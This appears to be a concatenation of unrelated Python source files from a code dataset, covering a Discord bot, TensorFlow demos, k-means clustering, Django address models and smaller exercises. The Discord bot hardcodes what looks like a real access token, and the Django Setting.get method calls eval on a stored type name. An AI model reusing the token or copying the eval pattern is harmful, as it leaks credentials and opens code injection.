args=(current_connection, address, self._task_queue))\n print(t.getName())\n if t not in thread_list:\n thread_list.append(t)\n #print(thread_enum())\n t.start()\n for k in thread_list:\n if not k.is_alive():\n thread_list.remove(k)\n except:\n self._connection.close()\n break\n\n\ndef signal_handler(signal_received, frame): \n print('SIGINT or SIGTERM or CTRL-C detected. Exiting gracefully') \n exit(0)\n\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='This is a simple task queue server with custom protocol')\n parser.add_argument(\n '-p',\n action=\"store\",\n dest=\"port\",\n type=int,\n default=5555,\n help='Server port')\n parser.add_argument(\n '-i',\n action=\"store\",\n dest=\"ip\",\n type=str,\n default='127.0.0.1',\n help='Server ip adress')\n parser.add_argument(\n '-c',\n action=\"store\",\n dest=\"path\",\n type=str,\n default='./',\n help='Server checkpoints dir')\n parser.add_argument(\n '-t',\n action=\"store\",\n dest=\"timeout\",\n type=int,\n default=300,\n help='Task maximum GET timeout in seconds')\n return parser.parse_args()\n\nif __name__ == '__main__':\n args = parse_args()\n signal(SIGINT, signal_handler)\n signal(SIGTERM, signal_handler)\n server = TaskQueueServer(**args.__dict__)\n server.run()\n print(\"server stopped\")\n","sub_path":"homeworks/task_queue/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":6786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"406458901","text":"import ROOT as rt\nimport rootlogon\n\nrootlogon.style()\n\nfile = rt.TFile(\"outfile.root\")\n\nh2 = file.Get(\"h20x25\")\nh4_2 = file.Get(\"h40x25\")\nh4_5 = file.Get(\"h40x50\")\nh8 = file.Get(\"h80x50\")\n\n#data_file = rt.TFile(\"hlt_tree_run208390.root\",\"READ\")\n\nh2.SetLineColor(rt.kRed)\nh4_2.SetLineColor(rt.kBlue)\nh4_5.SetLineColor(rt.kGreen)\nh8.SetLineColor(rt.kCyan)\n\nhists = [h2, h4_5, h4_2, h8]\n\nfor h in hists: h.SetLineWidth(2)\n\ncanvas = rt.TCanvas()\ncanvas.SetGridy(1)\nhists[0].Draw()\nhists[0].GetXaxis().SetTitle(\"r_{9} Cut\")\nhists[0].GetYaxis().SetTitle(\"Sig. Eff. HLT_26_18_mass70\")\nfor h in hists[1:]:\n h.Draw(\"Same\")\n\ncanvas.BuildLegend().SetFillColor(0)\n\n\nraw_input(\"RAW INPUT\")\n","sub_path":"SIGNAL_EFFICIENCY/draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"252544241","text":"a = [2, 4, 6, 8, 10]\n\n\nprint (a)\n\n\ndef findnumbertrue(x):\n for i in range(0, 5):\n if a[i] ==x:\n print(\"{0} => True\".format(x))\n\n\ndef findnumberfalse(y):\n c=0\n for i in range(0, 5):\n if a[i] !=y:\n c=c+1\n\n if c==5:\n print(\"{0} => False\".format(y))\n\n\n\nfindnumberfalse(5)\nfindnumbertrue(10)\n\n\n","sub_path":"8. 함수/6. 숫자찾기.py","file_name":"6. 숫자찾기.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196661368","text":"import discord\nfrom utils import *\n\nTOKEN = \"NDk3NDY3MzA2NTQ1NTEyNDU4.DpfmKQ.cCLmWW5HMba6kGXHhSX6yTD7MyY\"\n\nclient = discord.Client()\nsess = Session()\n\n\n\n@client.event\nasync def on_ready():\n print(\"The bot is ready!\")\n await client.change_presence(game=discord.Game(name=\"Ready!\"))\n\n@client.event\nasync def on_message(message):\n if message.author == client.user:\n return\n if sess.is_command(message.content):\n command = message.content[2:]\n try:\n output = sess.execute_command(command)\n await client.send_message(message.channel, output)\n except:\n await client.send_message(message.channel, \"Error!\")\n raise\n\n@client.event\nasync def on_error(event, *args, **kwargs):\n if event.__class__ == KeyboardInterrupt:\n await client.change_presence(game=discord.Game(name=\"Asleep...\"), afk=True)\n await client.logout()\n raise event\n\ndef run_bot(token):\n client.login(token)\n\n\nclient.run(TOKEN)\n\n\n","sub_path":"exaltedbot.py","file_name":"exaltedbot.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"29413923","text":"\"\"\"\n@author: khinggan\n@contact: khinggan2013@gmail.com\n@software: pycharm\n@file: tensorborad.py\n@time: 2018/12/23 15:24\n@desc:\n\"\"\"\nimport tensorflow as tf\nimport numpy as np\n\n\n# define add layer\ndef add_Layer(inputs, input_size, output_size, layer_name, activation_function=None):\n \"\"\"\n A template of Neural Network;\n :param inputs:input of the NN\n :param input_size:input size\n :param output_size:output size\n :param layer_name:layer name\n :param activation_function: if has,use that func,default is None\n :return: return the layer\n \"\"\"\n with tf.name_scope('layer'):\n with tf.name_scope('W'):\n Weights = tf.Variable(tf.random_normal([input_size, output_size]))\n tf.summary.histogram(layer_name+'/Weights', Weights)\n with tf.name_scope('b'):\n bias = tf.Variable(tf.zeros([1, output_size])+0.1)\n tf.summary.histogram(layer_name + '/bias', bias)\n with tf.name_scope('Wx_plus_b'):\n Wx_plus_b = tf.matmul(inputs, Weights)+bias\n if activation_function is None:\n output = Wx_plus_b\n else:\n output = activation_function(Wx_plus_b)\n tf.summary.histogram(layer_name + '/output', output)\n return output\n\n\n# define placeholder inputs\nwith tf.name_scope('inputs'):\n xs = tf.placeholder(tf.float32, [None, 1], name='x_input')\n ys = tf.placeholder(tf.float32, [None, 1], name='y_input')\n\n# make some real data\nx_data = np.linspace(-1, 1, 300)[:, np.newaxis]\nnoise = np.random.normal(0, 0.05, x_data.shape)\ny_data = np.square(x_data) - 0.5 + noise\n\n# add hidden layer\nl1 = add_Layer(xs, 1, 10, layer_name='1', activation_function=tf.nn.relu)\n# add output layer\nprediction = add_Layer(l1, 10, 1, layer_name='2', activation_function=None)\n\nwith tf.name_scope('loss'):\n loss = tf.reduce_mean(tf.reduce_sum(tf.square(ys - prediction), reduction_indices=[1]))\n tf.summary.scalar('loss', loss)\n\nwith tf.name_scope('train'):\n train_step = tf.train.GradientDescentOptimizer(0.1).minimize(loss)\n\nsess = tf.Session()\n\n# merge\nmerged = tf.summary.merge_all()\nwriter = tf.summary.FileWriter(\"logs/\", sess.graph)\ninit = tf.global_variables_initializer()\nsess.run(init)\n\n# train the model\nfor i in range(1000):\n sess.run(train_step, feed_dict={xs: x_data, ys: y_data})\n if i % 50 == 0:\n results = sess.run(merged, feed_dict={xs: x_data, ys: y_data})\n writer.add_summary(results, i)","sub_path":"tensorflow-learn/morvan-tensorflow-test/tensorborad.py","file_name":"tensorborad.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"255536331","text":"import base64\nimport hashlib\n\n\ndef md5_hash(text: str, encodeType = 'utf-8'):\n m = hashlib.md5(text.encode(encodeType))\n\n return m.digest()\n\n\ndef base64_encode(text: bytes, decodeType = 'utf-8'):\n b = base64.encodebytes(text)\n return b.decode(decodeType).replace('\\n', '')\n\n\nsample_list = [\n 'TA:taobao',\n 'JAMY:wpdlal',\n '100bang:qorqkd'\n]\n\nfor s in sample_list:\n a = md5_hash(s)\n b = base64_encode(a)\n print(b)\n","sub_path":"sample/encode/base64_sample.py","file_name":"base64_sample.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"591860941","text":"from django.db import models\nfrom api.functions import *\nfrom api.constants import *\n# from api.settings import Settings\n\n\nclass Recognizable:\n @staticmethod\n def recognize_or_create(str_: str):\n return None\n\n\nclass City(models.Model, Recognizable):\n city_name = models.CharField(max_length=50)\n\n @staticmethod\n def recognize_or_create(str_: str):\n return auto_recognize_or_create(typename='City',\n write_db=Setting.get('update_db'),\n msg_no_entry=get_no_entry_message('city'),\n msg_creation=get_creation_message('city'),\n sel_city_name=str_.strip())\n\n def __str__(self):\n return self.city_name\n\n\nclass District(models.Model, Recognizable):\n district_name = models.CharField(max_length=50)\n district_city = models.ForeignKey(City, default=1)\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n Returns new or existing District db entry with all fields assigned.\n Accepts string that must be in format 'NAME,CITY'.\n Where NAME is the district name and CITY is the city name.\n City name will be looked up in Cities table before check the District\n name.\n \"\"\"\n street_and_city = extract_from_str(str_)\n if len(street_and_city) != 2:\n print('Invalid district format! Needed \\'NAME,CITY\\'.')\n return None\n city_obj = City.recognize_or_create(street_and_city[1].strip())\n if city_obj is None:\n return None\n\n t = auto_recognize_or_create(typename=\"District\",\n write_db=Setting.get('update_db'),\n msg_no_entry=get_no_entry_message('district'),\n msg_creation=get_creation_message('district'),\n sel_district_name=(street_and_city[0].strip()),\n sel_district_city=city_obj)\n return t\n\n def __str__(self):\n return self.district_name\n\n\nclass Street(models.Model, Recognizable):\n street_name = models.CharField(max_length=50)\n street_district = models.ForeignKey(District, blank=True, null=True)\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n 'STREET NAME,DISTRICT NAME,CITY'\n \"\"\"\n temp = extract_from_str(str_)\n if len(temp) != 3:\n print('Invalid district format! Needed \\'STREET NAME,DISTRICT NAME,CITY\\'.')\n return None\n\n district_input = temp[1:]\n district = District.recognize_or_create(pack_to_str(district_input))\n # if invalid_object(district):\n # return None\n\n street = auto_recognize_or_create(typename='Street',\n write_db=Setting.get('update_db'),\n sel_street_name=temp[0],\n sel_street_district=district,\n msg_no_entry=get_no_entry_message('street'),\n msg_creation=get_creation_message('street'))\n return street\n\n def __str__(self):\n return '{0} - {1}'.format(self.street_name, self.street_district)\n\n\nclass Address(models.Model, Recognizable):\n address_street = models.ForeignKey(Street)\n address_building = models.CharField(max_length=32)\n address_apartment = models.IntegerField()\n # address_index = models.CharField(max_length=5, blank=True, null=True)\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n 'STREET NAME,BUILDING,APARTMENT,DISTRICT NAME,CITY'\n 0, ,1 ,2 ,3 ,4\n \"\"\"\n temp = extract_from_str(str_)\n\n street_str = ','.join([temp[0]] + temp[3:])\n street = Street.recognize_or_create(street_str)\n if invalid_object(street):\n return None\n if temp[2].strip().isdigit() or temp[2].strip() == '-1':\n temp[2] = int(temp[2].strip())\n else:\n print('Invalid apartment or postal index.')\n return None\n\n address = auto_recognize_or_create(typename=\"Address\",\n write_db=Setting.get('update_db'),\n msg_no_entry=get_no_entry_message('address'),\n msg_creation=get_creation_message('address'),\n sel_address_street=street,\n sel_address_building=temp[1],\n sel_address_apartment=temp[2])\n return address\n\n def __str__(self):\n return pack_to_str([self.address_street.street_name, self.address_building,\n self.address_apartment, self.address_street.street_district.district_name,\n self.address_street.street_district.district_city])\n\n\nclass AutoAddress(models.Model):\n auto_address_street = models.ForeignKey(Street)\n auto_address_buildings = models.TextField()\n\n @staticmethod\n def trunc_length():\n return Setting.get('auto_address_trunc_magnitude') + Setting.get('auto_address_trunc_step')\n\n def matches(self, address: Address):\n if self.auto_address_street.lower() != address.address_street.lower():\n # print(\"{0} is not {1}\".format(self.street, address.street))\n return False\n else:\n cases = list(map(lambda x: x.replace(' ', '').lower(), self.auto_address_buildings.split(',')))\n # print(\"cases: \" + str(cases))\n for i in cases:\n if '-' in i:\n # print('- is in ' + i)\n parts = (i.split('-'))\n # print('parts: ' + str(parts))\n if len(parts) != 2 or not parts[0].isdigit():\n # print('Wrong format: {0}'.format(i))\n continue\n if parts[1].isdigit(): # range(a, b)\n range_ = range(*(list(map(int, parts))))\n if address.address_building.isdigit() and int(address.address_building) in range_:\n return True\n elif i == address.address_building:\n return True\n else:\n if i == address.address_building:\n return True\n return False\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n street,*buildings\n \"\"\"\n temp = extract_from_str(str_)\n street = Street.recognize_or_create(temp[0])\n if invalid_object(street):\n print('Cannot recognize street')\n return None\n\n return auto_recognize_or_create('AutoAddress',\n write_db=Setting.get('update_db'),\n sel_auto_address_street=street,\n sel_auto_address_buildings=','.join(temp[1:]))\n\n def __str__(self):\n return '{0}, {1}'.format(self.auto_address_street.street_name,\n (self.auto_address_buildings[:Setting.get('auto_address_trunc_magnitude')] + '...'\n if len(self.auto_address_buildings) > AutoAddress.trunc_length()\n else self.auto_address_buildings))\n\n\nclass MicroDistrict(models.Model):\n micro_district_number = models.IntegerField()\n micro_district_addresses = models.ManyToManyField(AutoAddress)\n # micro_district_district = models.ForeignKey(District, default=1)\n\n # @staticmethod\n # def recognize_or_create(str_: str):\n # \"\"\"\n # number, district, city, [[street: [building clause, ...]]]\n # \"\"\"\n\n def __str__(self):\n return '№{0}'.format(str(self.micro_district_number))\n\n\nclass School(models.Model, Recognizable):\n school_name = models.CharField(max_length=50)\n school_address = models.ForeignKey(Address, blank=True, null=True)\n\n def get_micro_district(self):\n t = MicroDistrict.objects.all()\n\n for i in t:\n for j in i.micro_district_addresses.all():\n if j.matches(self.school_address):\n return j\n return None\n\n @staticmethod\n def get_school_by_number(num):\n return School.objects.get(school_name__icontains=str(num), )\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n name,STREET NAME,BUILDING,APARTMENT,I-INDEX,DISTRICT NAME,CITY\n \"\"\"\n temp = extract_from_str(str_)\n\n address = Address.recognize_or_create(pack_to_str(temp[1:]))\n if invalid_object(address):\n print('error recognizing schools address')\n return None\n\n return auto_recognize_or_create('School',\n write_db=Setting.get('update_db'),\n sel_school_name=temp[0],\n sel_school_address=address,\n msg_no_entry=get_no_entry_message('school'),\n msg_creation=get_creation_message('school'))\n\n def __str__(self):\n return self.school_name\n\n\nclass Grade(models.Model, Recognizable):\n grade_number = models.IntegerField()\n grade_letter = models.CharField(max_length=1)\n\n @staticmethod\n def recognize_or_create(str_: str):\n t = str_.split('-')\n n = int(t[0])\n l = t[1]\n\n return auto_recognize_or_create('Grade',\n write_db=Setting.get('update_db'),\n sel_grade_number=n,\n sel_grade_letter=l)\n\n def __str__(self):\n return '{0}-{1}'.format(self.grade_number, self.grade_letter)\n\n\nclass Pupil(models.Model):\n pupil_name = models.CharField(max_length=100)\n pupil_date_of_birth = models.DateField(blank=True, null=True)\n pupil_living_address = models.ForeignKey(Address, blank=True, null=True)\n pupil_school = models.ForeignKey(School, blank=True, null=True)\n pupil_grade = models.ForeignKey(Grade, blank=True, null=True, default=1)\n\n @staticmethod\n def recognize_or_create(str_: str):\n \"\"\"\n 'name,dd.mm.yyyy,street,building,apartment,district,city,school name,grade'\n name: 0\n birth: 1\n street: 2\n building: 3\n apartment: 4\n district: 5\n city: 6\n school: 7\n grade: 8\n\n \"\"\"\n pass\n\n def __str__(self):\n return self.pupil_name\n\n\nclass Setting(models.Model):\n setting_key = models.CharField(max_length=32, primary_key=True)\n setting_value = models.TextField()\n setting_type = models.CharField(max_length=128)\n\n @staticmethod\n def get(key):\n try:\n t = Setting.objects.get(pk=key)\n return eval('{0}(t.setting_value)'.format(t.setting_type))\n except models.Model.DoesNotExist:\n print('error, no such setting')\n return None\n except:\n print('error in conversion')\n return None\n\n @staticmethod\n def set(key, value):\n try:\n a = Setting.objects.get(pk=key)\n a.setting_value = str(value)\n a.save()\n except models.Model.DoesNotExist:\n Setting.objects.create(settings_key=key, settings_value=value,\n setting_type=str(type(value).__class__.__name__)).save()\n\n def __str__(self):\n return '{0} = {1}'.format(self.setting_key, self.setting_value)\n","sub_path":"school_micros/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"629246430","text":"import os\n\nENV = os.getenv('ENV')\nMED_SERVICE_APP_ID = os.getenv('MED_SERVICE_APP_ID')\nMED_SERVICE_APP_KEY = os.getenv('MED_SERVICE_APP_KEY')\nMED_SERVICE_URL = os.getenv('MED_SERVICE_URL')\nBASE_URL = os.getenv('BASE_URL')\n\nSECRET = os.getenv('APP_SECRET_KEY')\n\nAWS_ACCESS_KEY_ID = os.getenv('AWS_ACCESS_KEY_ID')\nAWS_SECRET_ACCESS_KEY = os.getenv('AWS_SECRET_ACCESS_KEY')\nAWS_REGION = os.getenv('AWS_REGION')\n\n# If zero - no token expiration will set\nTOKEN_EXPIRATION_SEC = 4 * 24 * 60 * 60 # 4 weeks\n\nMAX_REQUESTS = 30\n\nGOOGLE_TRANSLATE_API_KEY = os.getenv('GOOGLE_TRANSLATE_API_KEY')\n","sub_path":"chalicelib/fam/config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"365838885","text":"#!/usr/bin/env python\n\nimport numpy as np\n\n\nnums = np.array((1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 1))\n\n\ndef naiveglobalpeak(a):\n peak = np.zeros_like(nums)\n\n if nums[0] >= nums[1]:\n peak[0] = True\n\n if nums[-1] >= nums[-2]:\n peak[-1] = True\n\n for i in range(1, len(nums) - 1):\n if nums[i] >= nums[i + 1] and nums[i] >= nums[i - 1]:\n peak[i] = True\n else:\n peak[i] = False\n\n return peak\n\n\ndef naivelocalpeak(a):\n peak = np.zeros_like(nums)\n if nums[0] >= nums[1]:\n peak[0] = True\n\n if nums[-1] >= nums[-2]:\n peak[-1] = True\n\n for i in range(1, len(nums) - 1):\n if nums[i] >= nums[i + 1] and nums[i] >= nums[i - 1]:\n peak[i] = True\n else:\n peak[i] = False\n\n return peak\n\n\ndef divconq(a):\n\n n = len(a)\n\n if a[n / 2] < a[n / 2 - 1]:\n divconq(a[0:n / 2])\n elif a[n / 2] < a[n / 2 + 1]:\n divconq(a[n / 2:n])\n else:\n print(\"{} is the peak\".format(a[n / 2]))\n\n\nprint(nums)\n\npeak = naivelocalpeak(nums)\nprint(peak)\n\ndivconq(nums)\n","sub_path":"python/peakfind/pf.py","file_name":"pf.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"25066634","text":"import random\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets import make_blobs\nfrom scipy.stats import genextreme\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom time import time\n\n\n\n# 正规化数据集 X\ndef normalize(X, axis=-1, p=2):\n lp_norm = np.atleast_1d(np.linalg.norm(X, p, axis))\n lp_norm[lp_norm == 0] = 1\n return X / np.expand_dims(lp_norm, axis)\n\n\n# 计算一个样本与数据集中所有样本的欧氏距离的平方\ndef euclidean_distance(one_sample, X):\n one_sample = one_sample.reshape(1, -1)\n X = X.reshape(X.shape[0], -1)\n distances = np.power(np.tile(one_sample, (X.shape[0], 1)) - X, 2).sum(axis=1)\n return distances\n\n\ndef BMM_data(data, n_blocks):\n dist_block = np.split(data, n_blocks)\n dist_block_max = np.zeros(n_blocks)\n for idx, block in enumerate(dist_block):\n dist_block_max[idx] = np.max(block)\n\n return dist_block_max\n\n\n\nclass Kmeans():\n \"\"\"Kmeans聚类算法.\n\n Parameters:\n -----------\n k: int\n 聚类的数目.\n max_iterations: int\n 最大迭代次数.\n varepsilon: float\n 判断是否收敛, 如果上一次的所有k个聚类中心与本次的所有k个聚类中心的差都小于varepsilon,\n 则说明算法已经收敛\n \"\"\"\n\n def __init__(self, k=2, max_iterations=500, varepsilon=0.0001):\n self.k = k\n self.max_iterations = max_iterations\n self.varepsilon = varepsilon\n\n # 从所有样本中随机选取self.k样本作为初始的聚类中心\n def init_random_centroids(self, X):\n n_samples, n_features = np.shape(X)\n centroids = np.zeros((self.k, n_features))\n for i in range(self.k):\n centroid = X[np.random.choice(range(n_samples))]\n centroids[i] = centroid\n return centroids\n\n # 返回距离该样本最近的一个中心索引[0, self.k)\n def _closest_centroid(self, sample, centroids):\n distances = euclidean_distance(sample, centroids)\n closest_i = np.argmin(distances)\n return closest_i\n # distances = np.zeros(self.k)\n # for i in range(self.k):\n # distances[i] = euclidean_distance(sample, centroids[i])\n # closest_i = np.argmin(distances)\n # return closest_i\n\n def min_gev_prob(self, sample, centroids, gev_param):\n distances = euclidean_distance(sample, centroids)\n prob = np.zeros(self.k)\n for i in range(self.k):\n prob[i] = genextreme.cdf(distances[i], gev_param[i][0], gev_param[i][1], gev_param[i][2])\n closest_i = np.argmin(prob)\n return closest_i\n\n # 将所有样本进行归类,归类规则就是将该样本归类到与其最近的中心\n def create_clusters(self, centroids, X):\n n_samples = np.shape(X)[0]\n clusters = [[] for _ in range(self.k)]\n for sample_i, sample in enumerate(X):\n centroid_i = self._closest_centroid(sample, centroids)\n # centroid_i = self.min_gev_prob(sample, centroids, gev_param)\n clusters[centroid_i].append(sample_i)\n return clusters\n\n # 对中心进行更新\n def update_centroids(self, clusters, X):\n n_features = np.shape(X)[1]\n centroids = np.zeros((self.k, n_features))\n for i, cluster in enumerate(clusters):\n centroid = np.mean(X[cluster], axis=0)\n centroids[i] = centroid\n return centroids\n\n # 将所有样本进行归类,其所在的类别的索引就是其类别标签\n def get_cluster_labels(self, clusters, X):\n y_pred = np.zeros(np.shape(X)[0])\n for cluster_i, cluster in enumerate(clusters):\n for sample_i in cluster:\n y_pred[sample_i] = cluster_i\n return y_pred\n\n def fit_gev(self, centroids, X, n_blocks):\n genextreme_param = np.zeros((self.k, 3))\n n_samples = np.shape(X)[0]\n for cent in range(self.k):\n dist_c = np.zeros(n_samples)\n dist_c = euclidean_distance(centroids[cent, :], X)\n dist_block_max = BMM_data(dist_c, n_blocks)\n\n # fit genextreme\n c, loc, scale = genextreme.fit(dist_block_max)\n genextreme_param[cent][0] = c\n genextreme_param[cent][1] = loc\n genextreme_param[cent][2] = scale\n\n return genextreme_param\n\n # 对整个数据集X进行Kmeans聚类,返回其聚类的标签\n def predict(self, X, n_blocks):\n # 从所有样本中随机选取self.k样本作为初始的聚类中心\n centroids = self.init_random_centroids(X)\n\n # 迭代,直到算法收敛(上一次的聚类中心和这一次的聚类中心几乎重合)或者达到最大迭代次数\n for _ in range(self.max_iterations):\n\n # gev_param = self.fit_gev(centroids, X, n_blocks)\n # 将所有进行归类,归类规则就是将该样本归类到与其最近的中心\n clusters = self.create_clusters(centroids, X)\n former_centroids = centroids\n\n # 计算新的聚类中心\n centroids = self.update_centroids(clusters, X)\n\n # 如果聚类中心几乎没有变化,说明算法已经收敛,退出迭代\n diff = centroids - former_centroids\n if diff.any() < self.varepsilon:\n break\n\n return self.get_cluster_labels(clusters, X)\n\n\ndef main():\n plt.figure(figsize=(12, 12))\n\n n_samples = 10000\n random_state = 2\n n_features = 2\n n_centers = 10\n n_blocks = 500\n\n X, y = make_blobs(n_samples=n_samples, n_features=n_features, centers=n_centers, random_state=random_state)\n\n # Incorrect number of clusters\n start_t = time()\n y_pred = KMeans(n_clusters=n_centers, init='random', random_state=random_state).fit_predict(X)\n end_t = time()\n\n\n plt.subplot(121)\n plt.scatter(X[:, 0], X[:, 1], c=y_pred)\n plt.title(\"K-Means t:{:.2f}s\".format(end_t - start_t))\n print(\"K-Means t:{:.2f}s\".format(end_t - start_t))\n\n # Load the dataset\n # X, y = datasets.make_blobs(n_samples=10000,\n # n_features=3,\n # centers=[[3, 3, 3], [0, 0, 0], [1, 1, 1], [2, 2, 2]],\n # cluster_std=[0.2, 0.1, 0.2, 0.2],\n # random_state=9)\n\n # 用Kmeans算法进行聚类\n start_t = time()\n clf = Kmeans(k=n_centers)\n y_pred = clf.predict(X, n_blocks)\n end_t = time()\n\n plt.subplot(122)\n plt.scatter(X[:, 0], X[:, 1], c=y_pred)\n plt.title(\"K-Means+GEV t:{:.2f}s\".format(end_t - start_t))\n print(\"K-Means+GEV t:{:.2f}s\".format(end_t - start_t))\n plt.show()\n\n # 可视化聚类效果\n # fig = plt.figure(figsize=(12, 8))\n # ax = Axes3D(fig, rect=[0, 0, 1, 1], elev=30, azim=20)\n # plt.scatter(X[y == 0][:, 0], X[y == 0][:, 1], X[y == 0][:, 2])\n # plt.scatter(X[y == 1][:, 0], X[y == 1][:, 1], X[y == 1][:, 2])\n # plt.scatter(X[y == 2][:, 0], X[y == 2][:, 1], X[y == 2][:, 2])\n # plt.scatter(X[y == 3][:, 0], X[y == 3][:, 1], X[y == 3][:, 2])\n # plt.show()\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"kmeans_gev2.py","file_name":"kmeans_gev2.py","file_ext":"py","file_size_in_byte":7157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"534214859","text":"# Copyright 2015 Google Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"Builds the regression network.\n\nImplements the inference/loss/training pattern for model building.\n\n1. inference() - Builds the model as far as is required for running the network\nforward to make predictions.\n2. loss() - Adds to the inference model the layers required to generate loss.\n3. training() - Adds to the loss model the Ops required to generate and\napply gradients.\n\nThis file is used by the various \"fully_connected_*.py\" files and not meant to\nbe run.\n\nTensorFlow install instructions:\nhttps://tensorflow.org/get_started/os_setup.html\n\nMNIST tutorial:\nhttps://tensorflow.org/tutorials/mnist/tf/index.html\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport math\n\nimport tensorflow.python.platform\nimport tensorflow as tf\n\ndef inference(inputs, hidden1_units, hidden2_units, num_outputs):\n \"\"\"Build the regression model up to where it may be used for inference.\n\n Args:\n inputs: inputs placeholder, from inputs().\n hidden1: Size of the first hidden layer.\n hidden2: Size of the second hidden layer.\n\n Returns:\n softmax_linear: Output tensor with the computed acts.\n \"\"\"\n\n \"\"\"\n Get the last dimension of input placeholder because for FNN, the input is (batch_size, inputDim)\n \"\"\"\n global inputDim \n global NUM_OUTPUTS \n\n inputDim = inputs.get_shape().as_list()[-1] # get the last dimension. \n NUM_OUTPUTS = num_outputs\n\n # Hidden 1\n with tf.name_scope('hidden1') as scope:\n weights = tf.Variable(\n tf.truncated_normal([inputDim, hidden1_units],\n stddev=1.0 / math.sqrt(float(inputDim))),\n name='weights')\n biases = tf.Variable(tf.zeros([hidden1_units]),\n name='biases')\n hidden1 = tf.nn.relu(tf.matmul(inputs, weights) + biases)\n # Hidden 2\n with tf.name_scope('hidden2') as scope:\n weights = tf.Variable(\n tf.truncated_normal([hidden1_units, hidden2_units],\n stddev=1.0 / math.sqrt(float(hidden1_units))),\n name='weights')\n biases = tf.Variable(tf.zeros([hidden2_units]),\n name='biases')\n hidden2 = tf.nn.relu(tf.matmul(hidden1, weights) + biases)\n # Linear\n with tf.name_scope('output_linear') as scope:\n weights = tf.Variable(\n tf.truncated_normal([hidden2_units, NUM_OUTPUTS],\n stddev=1.0 / math.sqrt(float(hidden2_units))),\n name='weights')\n biases = tf.Variable(tf.zeros([NUM_OUTPUTS]),\n name='biases')\n acts = tf.matmul(hidden2, weights) + biases\n return acts\n\n\ndef loss(acts, targets):\n \"\"\"Calculates the loss from the acts and the targets.\n\n Args:\n acts: output tensor, float - [batch_size, NUM_OUTPUTS].\n targets: targets tensor, float - [batch_size].\n\n Returns:\n loss: Loss tensor of type float.\n \"\"\"\n loss = tf.nn.l2_loss(tf.sub(acts, targets), name='L2_loss')\n\n return loss\n\n\ndef training(loss, learning_rate):\n \"\"\"Sets up the training Ops.\n\n Creates a summarizer to track the loss over time in TensorBoard.\n\n Creates an optimizer and applies the gradients to all trainable variables.\n\n The Op returned by this function is what must be passed to the\n `sess.run()` call to cause the model to train.\n\n Args:\n loss: Loss tensor, from loss().\n learning_rate: The learning rate to use for gradient descent.\n\n Returns:\n train_op: The Op for training.\n \"\"\"\n # Add a scalar summary for the snapshot loss.\n tf.scalar_summary(loss.op.name, loss)\n # Create the gradient descent optimizer with the given learning rate.\n optimizer = tf.train.AdagradOptimizer(learning_rate)\n # Create a variable to track the global step.\n global_step = tf.Variable(0, name='global_step', trainable=False)\n # Use the optimizer to apply the gradients that minimize the loss\n # (and also increment the global step counter) as a single training step.\n train_op = optimizer.minimize(loss, global_step=global_step)\n return train_op\n\n\ndef evaluation(acts, targets):\n \"\"\"Evaluate the quality of the acts at predicting the label.\n\n Args:\n acts: acts tensor, float - [batch_size, NUM_OUTPUTS].\n targets: targets tensor, int32 - [batch_size], with values in the\n range [0, NUM_OUTPUTS).\n\n Returns:\n A scalar float tensor with L2 loss.\n \"\"\"\n loss = tf.nn.l2_loss(tf.sub(acts, targets))\n return loss\n","sub_path":"networks/NNRegression.py","file_name":"NNRegression.py","file_ext":"py","file_size_in_byte":5044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"319186427","text":"from dragonfly import (Function, Grammar, AppContext)\n\nfrom caster.asynch.hmc import h_launch\nfrom caster.lib import control\nfrom caster.lib import settings, utilities\nfrom caster.lib.dfplus.additions import IntegerRefST\nfrom caster.lib.dfplus.merge import gfilter\nfrom caster.lib.dfplus.merge.mergerule import MergeRule\nfrom caster.lib.dfplus.state.actions import AsynchronousAction\nfrom caster.lib.dfplus.state.short import R, L, S\n\n\n_NEXUS = control.nexus()\n\ndef kill(nexus):\n nexus.comm.get_com(\"hmc\").kill()\n\ndef complete(nexus):\n 